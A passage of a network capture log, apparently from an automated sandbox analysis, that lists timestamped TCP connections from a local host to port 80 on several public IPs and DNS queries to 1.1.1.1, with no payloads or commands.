Sep 7, 2024 15:37:49.367481947 CEST	56520	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:37:49.372628927 CEST	80	56520	45.79.222.138	192.168.2.3
Sep 7, 2024 15:37:49.373301983 CEST	56520	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:37:49.373399019 CEST	56520	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:37:49.377854109 CEST	56521	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:49.378626108 CEST	80	56520	45.79.222.138	192.168.2.3
Sep 7, 2024 15:37:49.378700972 CEST	56520	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:37:49.382744074 CEST	80	56521	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:49.383436918 CEST	56521	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:49.398267984 CEST	56521	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:49.403100014 CEST	80	56521	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:49.874870062 CEST	80	56521	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:49.874950886 CEST	80	56521	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:49.875036001 CEST	56521	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:49.875293970 CEST	56521	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:49.907016993 CEST	56519	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:49.907277107 CEST	56522	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:49.912044048 CEST	80	56522	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:49.912056923 CEST	80	56519	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:49.912143946 CEST	56519	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:49.912151098 CEST	56522	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:49.914129972 CEST	56522	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:49.918925047 CEST	80	56522	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:50.394289970 CEST	80	56522	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:50.394371986 CEST	56522	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:50.492975950 CEST	56523	80	192.168.2.3	64.70.19.203
Sep 7, 2024 15:37:50.497912884 CEST	80	56523	64.70.19.203	192.168.2.3
Sep 7, 2024 15:37:50.501269102 CEST	56523	80	192.168.2.3	64.70.19.203
Sep 7, 2024 15:37:50.501379967 CEST	56523	80	192.168.2.3	64.70.19.203
Sep 7, 2024 15:37:50.505181074 CEST	56524	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:50.506509066 CEST	80	56523	64.70.19.203	192.168.2.3
Sep 7, 2024 15:37:50.509417057 CEST	56523	80	192.168.2.3	64.70.19.203
Sep 7, 2024 15:37:50.510032892 CEST	80	56524	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:50.510200977 CEST	56524	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:50.522996902 CEST	56524	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:50.528661013 CEST	80	56524	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:51.021030903 CEST	80	56524	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:51.021083117 CEST	80	56524	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:51.021174908 CEST	56524	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:51.021213055 CEST	56524	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:51.021430969 CEST	56522	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:51.021794081 CEST	56525	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:51.026449919 CEST	80	56522	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:51.026670933 CEST	80	56525	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:51.026758909 CEST	56522	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:51.026798010 CEST	56525	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:51.026963949 CEST	56525	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:51.031723976 CEST	80	56525	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:51.532860041 CEST	80	56525	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:51.532926083 CEST	56525	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:51.665009022 CEST	56526	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:37:51.669923067 CEST	80	56526	45.79.222.138	192.168.2.3
Sep 7, 2024 15:37:51.670020103 CEST	56526	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:37:51.670120955 CEST	56526	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:37:51.674631119 CEST	56527	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:51.675074100 CEST	80	56526	45.79.222.138	192.168.2.3
Sep 7, 2024 15:37:51.675126076 CEST	56526	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:37:51.679477930 CEST	80	56527	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:51.679543018 CEST	56527	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:51.679616928 CEST	56527	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:51.684429884 CEST	80	56527	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:52.192451000 CEST	80	56527	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:52.192603111 CEST	56527	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:52.192998886 CEST	80	56527	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:52.193043947 CEST	56527	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:52.193095922 CEST	56525	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:52.193418980 CEST	56528	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:52.198358059 CEST	80	56525	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:52.198417902 CEST	56525	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:52.198421955 CEST	80	56528	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:52.198488951 CEST	56528	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:52.198899984 CEST	56528	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:52.203655958 CEST	80	56528	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:52.699898005 CEST	80	56528	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:52.699954987 CEST	56528	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:55.398520947 CEST	62900	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:37:55.403361082 CEST	80	62900	88.198.29.97	192.168.2.3
Sep 7, 2024 15:37:55.403441906 CEST	62900	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:37:55.414316893 CEST	62900	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:37:55.419437885 CEST	80	62900	88.198.29.97	192.168.2.3
Sep 7, 2024 15:37:55.419502020 CEST	62900	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:37:55.438127041 CEST	62901	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:55.443070889 CEST	80	62901	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:55.443155050 CEST	62901	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:55.443275928 CEST	62901	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:55.448081970 CEST	80	62901	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:55.926661968 CEST	80	62901	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:55.926814079 CEST	62901	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:55.926923990 CEST	80	62901	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:55.927047014 CEST	62901	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:55.950252056 CEST	56528	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:55.950573921 CEST	62902	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:55.955490112 CEST	80	56528	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:55.955507994 CEST	80	62902	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:55.955537081 CEST	56528	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:55.955599070 CEST	62902	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:55.959346056 CEST	62902	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:55.964272022 CEST	80	62902	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:56.463474989 CEST	80	62902	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:56.463531971 CEST	62902	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:57.042093992 CEST	62903	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:37:57.047015905 CEST	80	62903	45.79.222.138	192.168.2.3
Sep 7, 2024 15:37:57.048192024 CEST	62903	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:37:57.048309088 CEST	62903	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:37:57.052486897 CEST	62904	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:57.053363085 CEST	80	62903	45.79.222.138	192.168.2.3
Sep 7, 2024 15:37:57.053411007 CEST	62903	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:37:57.057310104 CEST	80	62904	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:57.057375908 CEST	62904	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:57.057439089 CEST	62904	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:57.062218904 CEST	80	62904	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:57.568926096 CEST	80	62904	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:57.568949938 CEST	80	62904	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:57.569087029 CEST	62904	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:57.569087029 CEST	62904	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:57.570661068 CEST	62902	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:57.571039915 CEST	62905	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:57.575823069 CEST	80	62902	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:57.575864077 CEST	80	62905	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:57.575866938 CEST	62902	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:57.575927019 CEST	62905	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:57.577461004 CEST	62905	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:57.582258940 CEST	80	62905	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:58.065630913 CEST	80	62905	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:58.068285942 CEST	62905	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:58.211186886 CEST	62906	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:37:58.216089964 CEST	80	62906	88.198.29.97	192.168.2.3
Sep 7, 2024 15:37:58.216257095 CEST	62906	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:37:58.226042986 CEST	62906	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:37:58.230961084 CEST	80	62906	88.198.29.97	192.168.2.3
Sep 7, 2024 15:37:58.231012106 CEST	62906	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:37:58.246162891 CEST	62907	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:58.251005888 CEST	80	62907	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:58.251099110 CEST	62907	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:58.251179934 CEST	62907	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:58.255929947 CEST	80	62907	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:58.733982086 CEST	80	62907	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:58.734010935 CEST	80	62907	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:58.734066963 CEST	62907	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:58.734133959 CEST	62907	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:58.752501965 CEST	62905	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:58.752855062 CEST	62908	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:58.757529974 CEST	80	62905	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:58.757584095 CEST	62905	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:58.757597923 CEST	80	62908	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:58.757663012 CEST	62908	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:58.760308981 CEST	62908	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:37:58.765127897 CEST	80	62908	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:59.261421919 CEST	80	62908	172.234.222.138	192.168.2.3
Sep 7, 2024 15:37:59.261503935 CEST	62908	80	192.168.2.3	172.234.222.138

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 7, 2024 15:33:55.591943979 CEST	59615	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:33:55.661371946 CEST	53	59615	1.1.1.1	192.168.2.3
Sep 7, 2024 15:33:56.084733963 CEST	61304	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:33:56.107249975 CEST	53	61304	1.1.1.1	192.168.2.3
Sep 7, 2024 15:33:56.227324009 CEST	52597	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:33:56.275036097 CEST	53	52597	1.1.1.1	192.168.2.3
Sep 7, 2024 15:33:56.299889088 CEST	61514	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:33:57.288883924 CEST	61514	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:33:57.358258963 CEST	53	61514	1.1.1.1	192.168.2.3
Sep 7, 2024 15:33:57.358284950 CEST	53	61514	1.1.1.1	192.168.2.3
Sep 7, 2024 15:33:57.864247084 CEST	62779	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:33:58.866853952 CEST	62779	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:33:59.882415056 CEST	62779	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:34:00.077667952 CEST	53	62779	1.1.1.1	192.168.2.3
Sep 7, 2024 15:34:00.077687979 CEST	53	62779	1.1.1.1	192.168.2.3
Sep 7, 2024 15:34:00.077697992 CEST	53	62779	1.1.1.1	192.168.2.3
Sep 7, 2024 15:34:00.711277962 CEST	59628	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:34:00.880161047 CEST	53	59628	1.1.1.1	192.168.2.3
Sep 7, 2024 15:34:00.885015011 CEST	60910	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:34:00.921463013 CEST	53	60910	1.1.1.1	192.168.2.3
Sep 7, 2024 15:34:01.039199114 CEST	56069	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:34:01.083581924 CEST	53	56069	1.1.1.1	192.168.2.3
Sep 7, 2024 15:34:02.195631981 CEST	56903	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:34:02.383157969 CEST	53	56903	1.1.1.1	192.168.2.3
Sep 7, 2024 15:34:03.501929998 CEST	63163	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:34:03.521614075 CEST	53	63163	1.1.1.1	192.168.2.3
Sep 7, 2024 15:34:04.666685104 CEST	61760	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:34:04.738013983 CEST	53	61760	1.1.1.1	192.168.2.3
Sep 7, 2024 15:34:04.747405052 CEST	64882	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:34:04.784259081 CEST	53	64882	1.1.1.1	192.168.2.3
Sep 7, 2024 15:34:04.898727894 CEST	58917	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:34:04.915515900 CEST	53	58917	1.1.1.1	192.168.2.3
Sep 7, 2024 15:34:04.918744087 CEST	65043	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:34:05.197225094 CEST	53	65043	1.1.1.1	192.168.2.3
Sep 7, 2024 15:34:05.305258036 CEST	50616	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:34:05.467012882 CEST	53	50616	1.1.1.1	192.168.2.3
Sep 7, 2024 15:34:05.469660044 CEST	51453	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:34:05.633270979 CEST	53	51453	1.1.1.1	192.168.2.3
Sep 7, 2024 15:34:05.743639946 CEST	51377	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:34:05.975270987 CEST	53	51377	1.1.1.1	192.168.2.3
Sep 7, 2024 15:34:05.978290081 CEST	53488	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:34:06.218828917 CEST	53	53488	1.1.1.1	192.168.2.3
Sep 7, 2024 15:34:06.336180925 CEST	58652	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:34:06.371860027 CEST	53	58652	1.1.1.1	192.168.2.3
Sep 7, 2024 15:34:06.374193907 CEST	64974	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:34:06.405999899 CEST	53	64974	1.1.1.1	192.168.2.3
Sep 7, 2024 15:34:06.541455984 CEST	55163	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:34:06.550746918 CEST	53	55163	1.1.1.1	192.168.2.3
Sep 7, 2024 15:34:07.711765051 CEST	51627	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:34:07.913227081 CEST	53	51627	1.1.1.1	192.168.2.3
Sep 7, 2024 15:34:07.915863991 CEST	64984	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:34:08.248158932 CEST	53	64984	1.1.1.1	192.168.2.3
Sep 7, 2024 15:34:08.354717970 CEST	54905	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:34:08.375447989 CEST	53	54905	1.1.1.1	192.168.2.3
Sep 7, 2024 15:34:09.496428967 CEST	51642	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:34:09.538950920 CEST	53	51642	1.1.1.1	192.168.2.3
Sep 7, 2024 15:34:09.543874025 CEST	60655	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:34:09.664459944 CEST	53	60655	1.1.1.1	192.168.2.3
Sep 7, 2024 15:34:09.773559093 CEST	60676	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:34:09.793365002 CEST	53	60676	1.1.1.1	192.168.2.3
Sep 7, 2024 15:34:10.899065971 CEST	53963	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:34:10.918720007 CEST	53	53963	1.1.1.1	192.168.2.3
Sep 7, 2024 15:34:11.061151981 CEST	53	62538	1.1.1.1	192.168.2.3
Sep 7, 2024 15:34:12.070419073 CEST	61632	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:34:12.400243044 CEST	53	61632	1.1.1.1	192.168.2.3
Sep 7, 2024 15:34:12.405172110 CEST	63928	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:34:12.594193935 CEST	53	63928	1.1.1.1	192.168.2.3
Sep 7, 2024 15:34:12.711271048 CEST	57594	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:34:13.045411110 CEST	53	57594	1.1.1.1	192.168.2.3
Sep 7, 2024 15:34:13.048008919 CEST	59438	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:34:13.287847996 CEST	53	59438	1.1.1.1	192.168.2.3
Sep 7, 2024 15:34:13.398983955 CEST	64013	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:34:13.418764114 CEST	53	64013	1.1.1.1	192.168.2.3
Sep 7, 2024 15:34:14.555351019 CEST	56008	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:34:14.729984045 CEST	53	56008	1.1.1.1	192.168.2.3
Sep 7, 2024 15:34:14.732665062 CEST	63512	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:34:14.905997992 CEST	53	63512	1.1.1.1	192.168.2.3
Sep 7, 2024 15:34:15.008462906 CEST	56010	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:34:15.027692080 CEST	53	56010	1.1.1.1	192.168.2.3
Sep 7, 2024 15:34:16.180350065 CEST	65181	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:34:16.189805031 CEST	53	65181	1.1.1.1	192.168.2.3
Sep 7, 2024 15:34:16.192759037 CEST	56855	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:34:16.201611996 CEST	53	56855	1.1.1.1	192.168.2.3
Sep 7, 2024 15:34:16.304986000 CEST	54418	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:34:16.339999914 CEST	53	54418	1.1.1.1	192.168.2.3
Sep 7, 2024 15:34:16.342518091 CEST	61196	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:34:16.378106117 CEST	53	61196	1.1.1.1	192.168.2.3
Sep 7, 2024 15:34:16.496365070 CEST	60669	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:34:16.533380032 CEST	53	60669	1.1.1.1	192.168.2.3
Sep 7, 2024 15:34:16.535823107 CEST	56258	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:34:16.567723036 CEST	53	56258	1.1.1.1	192.168.2.3
Sep 7, 2024 15:34:16.680529118 CEST	53561	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:34:16.696721077 CEST	53	53561	1.1.1.1	192.168.2.3
Sep 7, 2024 15:34:17.820708036 CEST	53891	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:34:17.994328976 CEST	53	53891	1.1.1.1	192.168.2.3
Sep 7, 2024 15:34:17.997036934 CEST	54625	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:34:18.220258951 CEST	53	54625	1.1.1.1	192.168.2.3
Sep 7, 2024 15:34:18.336199045 CEST	56641	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:34:18.830486059 CEST	53	56641	1.1.1.1	192.168.2.3
Sep 7, 2024 15:34:18.833149910 CEST	53611	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:34:19.371515036 CEST	53	53611	1.1.1.1	192.168.2.3
Sep 7, 2024 15:34:19.476948977 CEST	50425	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:34:19.486578941 CEST	53	50425	1.1.1.1	192.168.2.3
Sep 7, 2024 15:34:19.489305973 CEST	59461	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:34:19.846225023 CEST	53	59461	1.1.1.1	192.168.2.3
Sep 7, 2024 15:34:19.961270094 CEST	49561	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:34:19.970702887 CEST	53	49561	1.1.1.1	192.168.2.3
Sep 7, 2024 15:34:19.973440886 CEST	58814	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:34:19.980983973 CEST	53	58814	1.1.1.1	192.168.2.3
Sep 7, 2024 15:34:20.086297989 CEST	57476	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:34:20.095544100 CEST	53	57476	1.1.1.1	192.168.2.3
Sep 7, 2024 15:34:21.227032900 CEST	53700	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:34:21.237078905 CEST	53	53700	1.1.1.1	192.168.2.3
Sep 7, 2024 15:34:22.382961988 CEST	61552	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:34:22.400418043 CEST	53	61552	1.1.1.1	192.168.2.3
Sep 7, 2024 15:34:22.403379917 CEST	55049	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:34:22.744910955 CEST	53	55049	1.1.1.1	192.168.2.3
Sep 7, 2024 15:34:22.851963043 CEST	60660	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:34:23.092437983 CEST	53	60660	1.1.1.1	192.168.2.3
Sep 7, 2024 15:34:23.094985962 CEST	62084	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:34:23.354047060 CEST	53	62084	1.1.1.1	192.168.2.3
Sep 7, 2024 15:34:23.461278915 CEST	57670	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:34:23.483614922 CEST	53	57670	1.1.1.1	192.168.2.3
Sep 7, 2024 15:34:23.486005068 CEST	56530	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:34:23.555923939 CEST	53	56530	1.1.1.1	192.168.2.3
Sep 7, 2024 15:34:23.664226055 CEST	49866	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:34:23.826652050 CEST	53	49866	1.1.1.1	192.168.2.3
Sep 7, 2024 15:34:23.829067945 CEST	57784	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:34:23.990195036 CEST	53	57784	1.1.1.1	192.168.2.3
Sep 7, 2024 15:34:24.105256081 CEST	62733	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:34:24.444269896 CEST	53	62733	1.1.1.1	192.168.2.3
Sep 7, 2024 15:34:24.449109077 CEST	52675	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:34:24.455882072 CEST	53	52675	1.1.1.1	192.168.2.3
Sep 7, 2024 15:34:25.195549965 CEST	54902	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:34:25.357106924 CEST	53	54902	1.1.1.1	192.168.2.3
Sep 7, 2024 15:34:25.359867096 CEST	53481	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:34:25.520811081 CEST	53	53481	1.1.1.1	192.168.2.3
Sep 7, 2024 15:34:25.635565996 CEST	61925	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:34:25.646747112 CEST	53	61925	1.1.1.1	192.168.2.3
Sep 7, 2024 15:34:25.678064108 CEST	52051	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:34:26.664117098 CEST	52051	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:34:26.836741924 CEST	53	52051	1.1.1.1	192.168.2.3
Sep 7, 2024 15:34:26.836755991 CEST	53	52051	1.1.1.1	192.168.2.3
Sep 7, 2024 15:34:26.945522070 CEST	59377	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:34:26.954647064 CEST	53	59377	1.1.1.1	192.168.2.3
Sep 7, 2024 15:34:28.086059093 CEST	64285	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:34:28.132153988 CEST	53	64285	1.1.1.1	192.168.2.3
Sep 7, 2024 15:34:28.135274887 CEST	57271	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:34:28.167275906 CEST	53	57271	1.1.1.1	192.168.2.3
Sep 7, 2024 15:34:28.273628950 CEST	58517	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:34:28.293586016 CEST	53	58517	1.1.1.1	192.168.2.3
Sep 7, 2024 15:34:29.398515940 CEST	61118	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:34:29.541615009 CEST	53	61118	1.1.1.1	192.168.2.3
Sep 7, 2024 15:34:29.548501968 CEST	58322	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:34:29.768336058 CEST	53	58322	1.1.1.1	192.168.2.3
Sep 7, 2024 15:34:29.883182049 CEST	56595	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:34:30.153366089 CEST	53	56595	1.1.1.1	192.168.2.3
Sep 7, 2024 15:34:30.167180061 CEST	65240	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:34:30.436245918 CEST	53	65240	1.1.1.1	192.168.2.3
Sep 7, 2024 15:34:30.539459944 CEST	61353	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:34:30.558532953 CEST	53	61353	1.1.1.1	192.168.2.3
Sep 7, 2024 15:34:31.695586920 CEST	56565	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:34:32.290822983 CEST	53	56565	1.1.1.1	192.168.2.3
Sep 7, 2024 15:34:32.293363094 CEST	60807	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:34:32.365196943 CEST	53	60807	1.1.1.1	192.168.2.3
Sep 7, 2024 15:34:32.476943016 CEST	61987	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:34:32.486191034 CEST	53	61987	1.1.1.1	192.168.2.3
Sep 7, 2024 15:34:33.617346048 CEST	52104	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:34:33.660257101 CEST	53	52104	1.1.1.1	192.168.2.3
Sep 7, 2024 15:34:33.667399883 CEST	51645	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:34:33.953855991 CEST	53	51645	1.1.1.1	192.168.2.3
Sep 7, 2024 15:34:34.070677996 CEST	49976	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:34:34.344377995 CEST	53	49976	1.1.1.1	192.168.2.3
Sep 7, 2024 15:34:34.346889019 CEST	63438	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:34:34.364186049 CEST	53	63438	1.1.1.1	192.168.2.3
Sep 7, 2024 15:34:34.476872921 CEST	50522	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:34:34.489438057 CEST	53	50522	1.1.1.1	192.168.2.3
Sep 7, 2024 15:34:35.625382900 CEST	50092	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:34:35.637059927 CEST	53	50092	1.1.1.1	192.168.2.3
Sep 7, 2024 15:34:35.686980963 CEST	57701	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:34:35.724064112 CEST	53	57701	1.1.1.1	192.168.2.3
Sep 7, 2024 15:34:35.836473942 CEST	62823	53	192.168.2.3	1.1.1.1
